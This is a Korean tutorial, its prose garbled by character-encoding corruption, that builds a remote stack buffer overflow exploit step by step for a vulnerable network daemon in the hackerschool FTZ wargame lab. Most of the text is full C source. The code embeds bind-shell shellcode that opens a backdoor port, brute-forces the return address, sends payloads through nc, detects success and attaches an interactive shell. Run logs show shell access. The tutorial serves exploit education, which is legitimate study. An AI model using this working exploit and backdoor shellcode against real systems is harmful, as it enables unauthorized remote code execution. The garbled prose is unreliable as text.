ÀÌÁ¦ ExploitÀ» ±¸ÇöÇØ ³ª°¡º¸ÀÚ. ¹®Á¦°¡ µÉ¸¸ÇÑ ºÎºÐÀº ½©ÄÚµåÀÇ ½ÃÀÛ À§Ä¡¸¦ ¾î¶»°Ô ¾Ë¾Æ³»´À³ÄÇÏ´Â °ÍÀε¥, ¿ª½Ã Ưº°ÇÑ ¹æ¹ýÀº ¾øÀ¸¸ç, Brute Force¸¦ ÅëÇØ ±× À§Ä¡¸¦ ã¾Æ³ª°¡¾ß ÇÑ´Ù. ¡Ý Exploit ÀÛ¼º 1´Ü°è : Ãë¾à ÇÁ·Î±×·¥ÀÇ ¹öÆÛ¿¡ ÀúÀåµÉ °ø°Ý stringÀ» ±¸¼ºÇÑ´Ù. ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); memcpy(&Attack_String[316], &Ret_Addr, 4); } ======================================================================== Ãë¾à ÇÁ·Î±×·¥ÀÇ string º¯¼ö 300¹ÙÀÌÆ®¿Í dummy 12¹ÙÀÌÆ®, sfp 4¹ÙÀÌÆ® ±×¸®°í return address 4¹ÙÀÌÆ®¸¦ ÇÕÇÏ¿© ÃÑ 320 ¹ÙÀÌÆ®¸¦ °ø°Ý ½ºÆ®¸µÀÇ Å©±â·Î ÇÒ´çÇÏ¿´´Ù. ±× ´ÙÀ½¿£ Brute Force¸¦ ÅëÇØ º¯°æ½Ãų Ret_Addr º¯¼ö¸¦ ¼±¾ðÇÏ¿´´Ù. ´ÙÀ½ ºÎºÐ¿¡¼­ Attack_StringÀ» A ¹®ÀÚ·Î °¡µæ ä¿î ÀÌÀ¯´Â ÈÄ¿¡ ¿Ï¼ºµÈ °ø°Ý ½ºÆ®¸µÀ» ½©¿¡ ÀÔ·ÂÇÒ ¶§, ;, |, & µîÀÇ Æ¯¼ö ¹®ÀÚ°¡ ÀԷµǴ °ÍÀ» ¹æÁöÇϱâ À§ÇÔÀÌ´Ù. ÀÌ·¸°Ô ÃʱâÈ­¸¦ ÇÏÁö ¾ÊÀ¸¸é ¾²·¹±â °ªµéÀÌ ´ë½Å Ãâ·ÂµÇ±â ¶§¹®ÀÌ´Ù. ÀÌÁ¦ °ø°Ý ½ºÆ®¸µÀÇ ¾ÕºÎºÐ¿¡ ¹ÙÀÎµå ½©Äڵ带 º¹»çÇÏ°í, Ãë¾à ÇÁ·Î±×·¥ÀÇ ¸®ÅÏ ¾îµå·¹½º°¡ À§Ä¡ÇÏ´Â ºÎºÐ¿¡ °ø°ÝÀÚ°¡ ÀÓÀÇ·Î º¯°æÇÒ ¸®ÅÏ ¾îµå·¹½º¸¦ º¹»çÇÏ¿´´Ù. ÀÌ º¯°æÇÒ °ªÀº ½©ÄÚµåÀÇ ½ÃÀÛ ºÎºÐÀÌ µÉ °ÍÀ̸ç, ÀÌÁ¦ Brute Force·Î ÀÌ °ªÀ» ÃßÃøÇÏ´Â ·çƾÀ» Ãß°¡ÇØ¾ß ÇÑ´Ù. ¡Ý Exploit ÀÛ¼º 2´Ü°è : Brute Force ·çƾ Ãß°¡. ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); printf("%p\n", Ret_Addr); Ret_Addr -= 4; // 0xc0000000¿¡¼­ºÎÅÍ 4¹ÙÀÌÆ®¾¿ °¨¼Ò } } ======================================================================== * ½ÇÇà °á°ú ==================================== [guest@ftz lecture]$ ./exploit 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 ... »ý·« ... ==================================== ÀÌó·³ ½ºÅÃÀÇ °¡Àå ³¡ ºÎºÐºÎÅÍ 4¹ÙÀÌÆ® ´ÜÀ§·Î ¸®ÅÏ ¾îµå·¹½º¸¦ º¯°æÇØ°¡´Ùº¸¸é, ¾ðÁ¨°¡´Â ½©ÄÚµåÀÇ ½ÃÀÛ ºÎºÐÀ» ½ÇÇàÇÏ°Ô µÉ °ÍÀÌ´Ù. ÀÌÁ¦ ´ÙÀ½Àº ½©ÄÚµå¿Í Brute Force·Î ¾òÀº »õ·Î¿î ¸®ÅÏ ¾îµå·¹½ºÀÇ ÁÖ¼Ò¸¦ Ãë¾à ÇÁ·Î±×·¥À¸·Î Àü¼ÛÇÏ´Â ´Ü°èÀÌ´Ù. ÀÌ ºÎºÐÀº nc¶ó´Â ÆÐŶ Àü¼Û ÅøÀ» ÀÌ¿ëÇϸé ÆíÇÏ´Ù. ¡Ý Exploit ÀÛ¼º 3´Ü°è : °ø°Ý ÆÐŶ Àü¼Û ·çƾ Ãß°¡ ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); // °ø°Ý ÆÐŶ Àü¼Û ·çƾ sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); } } ======================================================================== ÀÌÁ¦ À§ ExploitÀ» ½ÇÇàÇϸé, ´ÙÀ½°ú °°ÀÌ Ãë¾à ÇÁ·Î±×·¥ÀÇ ¸®ÅÏ ¾îµå·¹½º °ªÀ» º¯°æÇØ°¡¸ç °ø°Ý ÆÐŶÀ» Àü¼ÛÇÑ´Ù. ÀÌ °úÁ¤ÀÌ °è¼Ó ¹Ýº¹ÇÏ´Ù°¡ Ãë¾à ÇÁ·Î±×·¥ÀÇ º¯°æµÈ ¸®ÅÏ ¾îµå·¹½º¿Í ½©Äڵ尡 À§Ä¡ÇϰԵǴ string º¯¼öÀÇ ½ÃÀÛ ºÎºÐÀÌ ÀÏÄ¡ÇϰԵǸé, ¹éµµ¾î Æ÷Æ®°¡ ¿­¸®°Ô µÉ °ÍÀÌ´Ù. ======================================================================== [guest@ftz lecture]$ ./exploit ... »ý·« ... 0xbffff9fc ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : 1??É°F?1???±Q±Q±Q‰á³°f?‰Á1??PPfh°ï³fS‰â³S³RQ‰Ê‰á°f?1? Ãt1??1ÀPR‰á³°f?‰×1??ɳ±°0?1??PW‰á³°f?‰Æ1?Û°?9Ãu@1À‰û°?1??ó°??1ÀA??1ÀA??1ÀPh// shh/bin‰ã‹TPS‰á? ?1??1À‰ó°? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff9f8 ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : 1??É°F?1???±Q±Q±Q‰á³°f?‰Á1??PPfh°ï³fS‰â³S³RQ‰Ê‰á°f?1? Ãt1??1ÀPR‰á³°f?‰×1??ɳ±°0?1??PW‰á³°f?‰Æ1?Û°?9Ãu@1À‰û°?1??ó°??1ÀA??1ÀA??1ÀPh// shh/bin‰ã‹TPS‰á? ?1??1À‰ó°? ... »ý·« ... ======================================================================== À§ ExploitÀ» ½ÇÇàÇÑ °á°ú, ¾à 10¿©ºÐÀÌ Áö³­ ÈÄ¿¡ 45295¹ø Æ÷Æ®°¡ ¿­¸®°ÔµÇ¾ú°í, Ãë¾à ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ¿© string º¯¼öÀÇ ÁÖ¼Ò °ªÀ» Ãâ·ÂÇغ» °á°ú 0xbffff9f8ÀÌ ¹Ù·Î °ø°ÝÀÚ°¡ ã¾Æ³»¾ßÇß´ø °ªÀ̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ¾ú´Ù. ÀÌó·³ ¹éµµ¾î Æ÷Æ®¸¦ ¿ÀÇÂÇÏ´Â ¹ÙÀÎµå ½©ÄÚµå¿Í Brute Force¸¦ ÀÌ¿ëÇÏ¿© µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥¿¡´ëÇÑ °ø°ÝÀ» ¼º°ø½ÃÄ×´Ù. ÇÏÁö¸¸, ¾î´À ¼ø°£¿¡ °ø°Ý¿¡ ¼º°øÇß´ÂÁö¸¦ ¾Ë ¼ö ¾ø¾ú±â ¶§¹®¿¡, ¼ö½Ã·Î 45295¹ø Æ÷Æ®·Î ¼öµ¿ Á¢¼ÓÀ» ÇغÁ¾ß¸¸Çß´Ù. ±×·³ À̹ø¿¡´Â ÀÚµ¿À¸·Î 49295¹ø Æ÷Æ®·Î Á¢¼ÓÀ»ÇÏ¿©, ¸¸¾à Á¢¼Ó¿¡ ¼º°øÇß´Ù¸é ExploitÀ» Á¾·á½ÃÅ°´Â ·çƾÀ» Ãß°¡ÇØ º¸°Ú´Ù. ¡Ý Exploit ÀÛ¼º 4´Ü°è : °ø°Ý ¼º°ø ¿©ºÎ ÆÇ´Ü ·çƾ Ãß°¡ ======================================================================== #include #include #include #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int Check_Result(void) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(45295); target_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); bzero(&target_addr.sin_zero, 0, 8); sockfd = socket(AF_INET, SOCK_STREAM, 0); // 45295¹ø Æ÷Æ®·Î Á¢¼ÓÀÌ µÇ¸é ¼º°ø, ¾ÈµÇ¸é ½ÇÆÐ. if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){ close(sockfd); return 0; } else{ close(sockfd); return 1; } } int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xbffffa00; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); // °ø°Ý °á°ú üũ ·çƾ if(Check_Result()){ printf("Exploit Succeed.!\n"); exit(0); } } } ======================================================================== * ½ÇÇà °á°ú ======================================================================== [guest@ftz lecture]$ ./exploit ... »ý·« ... 0xbffff9fc ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : 1??É°F?1???±Q±Q±Q‰á³°f?‰Á1??PPfh°ï³fS‰â³S³RQ‰Ê‰á°f?1? Ãt1??1ÀPR‰á³°f?‰×1??ɳ±°0?1??PW‰á³°f?‰Æ1?Û°?9Ãu@1À‰û°?1??ó°??1ÀA??1ÀA??1ÀPh// shh/bin‰ã‹TPS‰á? ?1??1À‰ó°? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff9f8 ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : 1??É°F?1???±Q±Q±Q‰á³°f?‰Á1??PPfh°ï³fS‰â³S³RQ‰Ê‰á°f?1? Ãt1??1ÀPR‰á³°f?‰×1??ɳ±°0?1??PW‰á³°f?‰Æ1?Û°?9Ãu@1À‰û°?1??ó°??1ÀA??1ÀA??1ÀPh// shh/bin‰ã‹TPS‰á? ?1??1À‰ó°? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAüùÿ?lˆûÿ¿™tB Exploit Succeed.! [guest@ftz lecture]$ ======================================================================== ÀÌó·³ 0xbfff9f8 °ª¿¡¼­ °ø°Ý¿¡ ¼º°øÇÏ¿© 45295¹ø Æ÷Æ®°¡ ¿­·ÈÀ½À» ¾Ë ¼ö ÀÖ°Ô µÇ¾ú´Ù. ÀÌÁ¦ ¼öµ¿À¸·Î 45295¹ø Æ÷Æ®¿¡ Á¢¼ÓÇÏ¸é ½© ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸, º¸Åë °ø°³µÈ Remote ExploitÀ» º¸¸é, °ø°Ý ¼º°ø ÈÄ ÀÚµ¿À¸·Î ½© ±ÇÇѱîÁö ¶ç¿öÁÖµµ·Ï ±¸ÇöµÇ¾î ÀÖ´Ù. ¸¶Áö¸·À¸·Î ±× ±â´ÉÀ» Ãß°¡Çغ¸ÀÚ. ¡Ý Exploit ÀÛ¼º 5´Ü°è : ½© ±ÇÇÑ È¹µæ ·çƾ Ãß°¡ ======================================================================== #include #include #include #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; void Get_Shell(int sockfd) { int length; char data[1024]; fd_set read_fds; while(1){ FD_ZERO(&read_fds); FD_SET(sockfd, &read_fds); FD_SET(0, &read_fds); select(sockfd+1, &read_fds, NULL, NULL, NULL); // ¼ÒÄÏÀ¸·ÎºÎÅÍ data°¡ ¿ÔÀ» ¶§ÀÇ Ã³¸®. if(FD_ISSET(sockfd, &read_fds)){ length = recv(sockfd, data, 1024, 0); // ¹ÞÀº ³»¿ëÀ» È­¸é¿¡ Ãâ·ÂÇÑ´Ù. if(write(1, data, length) == 0) break; } // °ø°ÝÀÚ°¡ Å°º¸µå¸¦ ÀÔ·ÂÇßÀ» ¶§ÀÇ Ã³¸®. if(FD_ISSET(0, &read_fds)){ length = read(0, data, 1024); // ÀÔ·ÂÇÑ ³»¿ëÀ» ½©¹éµµ¾î·Î Àü¼ÛÇÑ´Ù. if(send(sockfd, data, length, 0) == 0) break; } } } int Check_Result(void) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(45295); target_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); bzero(&target_addr.sin_zero, 0, 8); sockfd = socket(AF_INET, SOCK_STREAM, 0); if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){ close(sockfd); return 0; } else{ // °ø°Ý¿¡ ¼º°øÇÏ¿´´Ù¸é, È®ÀÎ ¸í·ÉÀ» Àü¼ÛÇÏ°í ½© ¿¬°á. send(sockfd, "uname -a;id\n", 12, 0); Get_Shell(sockfd); close(sockfd); return 1; } } int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xbffffa00; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); if(Check_Result()){ printf("Exploit Succeed.!\n"); exit(0); } } } ======================================================================== * ½ÇÇà °á°ú ======================================================================== [guest@ftz lecture]$ ./exploit ... »ý·« ... 0xbffff9fc ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : 1??É°F?1???±Q±Q±Q‰á³°f?‰Á1??PPfh°ï³fS‰â³S³RQ‰Ê‰á°f?1? Ãt1??1ÀPR‰á³°f?‰×1??ɳ±°0?1??PW‰á³°f?‰Æ1?Û°?9Ãu@1À‰û°?1??ó°??1ÀA??1ÀA??1ÀPh// shh/bin‰ã‹TPS‰á? ?1??1À‰ó°? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown uid=1000(guest) gid=1000(guest) groups=1000(guest) whoami guest ======================================================================== ÀÌó·³ ÀÌÁ¦ °ø°Ý ¼º°ø ÈÄ ¹Ù·Î ½© ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù. ExploitÀÇ ¾÷±×·¹À̵å´Â ÀÌÁ¤µµ¸é ÃæºÐÇÒ µíÇÏ´Ù. ÀÌÁ¦ ´õ¿í È¿°úÀûÀ¸·Î ¸®¸ðÆ® ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¼º°ø½Ãų ¼ö ÀÖ´Â ¹æ¹ýÀÌ ÀÖ´ÂÁö »ý°¢Çغ¸ÀÚ. Áö³­ Xinetd ȯ°æ¿¡¼­ÀÇ ¿À¹öÇÃ·Î¿ì °ø°Ý¿¡¼± ÃÑ 7°¡Áö ¹æ¹ýÀ¸·Î °ø°ÝÀ» ½ÃµµÇØ º¼ ¼ö ÀÖ¾ú´Ù. ÇÏÁö¸¸, µ¶¸³ÀûÀÎ ³×Æ®¿öÅ©·Î ±¸ÇöµÈ Ãë¾à ÇÁ·Î±×·¥¿¡´Â ±×·¯ÇÑ ½Ãµµ¸¦ ÇØ º¼ ¼ö ÀÖ´Â ¹üÀ§°¡ ¾ÆÁÖ Á¼°Ô Ãà¼ÒµÈ´Ù. Áö±Ý ÀÌ È¯°æ¿¡¼­ÀÇ RTL ±â¹ýÀ» »ý°¢Çغ¸ÀÚ. ´Ü¼øÈ÷ ¶óÀ̺귯¸® ÇÔ¼öµé¸¸À¸·Î´Â ½© ¹éµµ¾î Æ÷Æ®¸¦ »ý¼ºÇϰųª, ±âŸ ¾î¶² ´Ù¸¥ ÀÀ¿ë ¹æ¹ýÀÌ Á¸ÀçÇÏÁö ¾Ê´Â´Ù. ½©À» ½ÇÇàÇÏ´Â backdoor.sh ÆÄÀÏÀ» »ý¼ºÇÏ°í, system() ÇÔ¼ö¸¦ ÀÌ¿ëÇØ in.telnetd ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â Á¤µµÀÇ ¹æ¹ýÀ» »ý°¢ÇÒ ¼ö´Â ÀÖÁö¸¸, ÀÌ·¸°Ô ÇÏ·Á¸é ¿ÀÈ÷·Á ´õ¿í Á¶ÀâÇÑ °ø°Ý °úÁ¤ÀÌ ÇÊ¿äÇØÁú °ÍÀÌ´Ù. ¶Ç, return address µÞÂÊÀ¸·Î ´ë·®ÀÇ NOPÀ» ³Ö°í ±× µÚÀÇ ½©Äڵ尡 ½ÇÇàµÇµµ·Ï ÇÏ´Â °Íµµ °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù. ¿Ö³ÄÇÏ¸é º¸Åë recv() ÇÔ¼öÀÇ ¼¼¹ø° ÀÎÀÚ¿¡ÀÇÇؼ­ Àü¼Û¹Þ´Â µ¥ÀÌÅÍÀÇ ÃÑ ±æÀÌ°¡ Á¦ÇѵǾîÀֱ⠶§¹®ÀÌ´Ù. ÀÌ ±æÀÌ°¡ return address ¿µ¿ªÀ» ÃÊ°úÇϵµ·Ï ÇÁ·Î±×·¡¹ÖÇÏ´Â »ç¶÷Àº ¾øÀ» °ÍÀÌ´Ù. µû¶ó¼­ ±â²¯ÇØ¾ß µ¥¸óÀÌ ¹Þ¾ÆµéÀÌ´Â ¹öÆÛÀÇ ÇѰ踦 ³ÑÁö ¾Ê´Â ¹üÀ§¿¡¼­ NOPÀ» Ãß°¡ÇÏ´Â Á¤µµÀÇ ±â±³¹Û¿¡´Â ±â´ëÇÒ ¼ö ¾øÀ» °ÍÀÌ´Ù.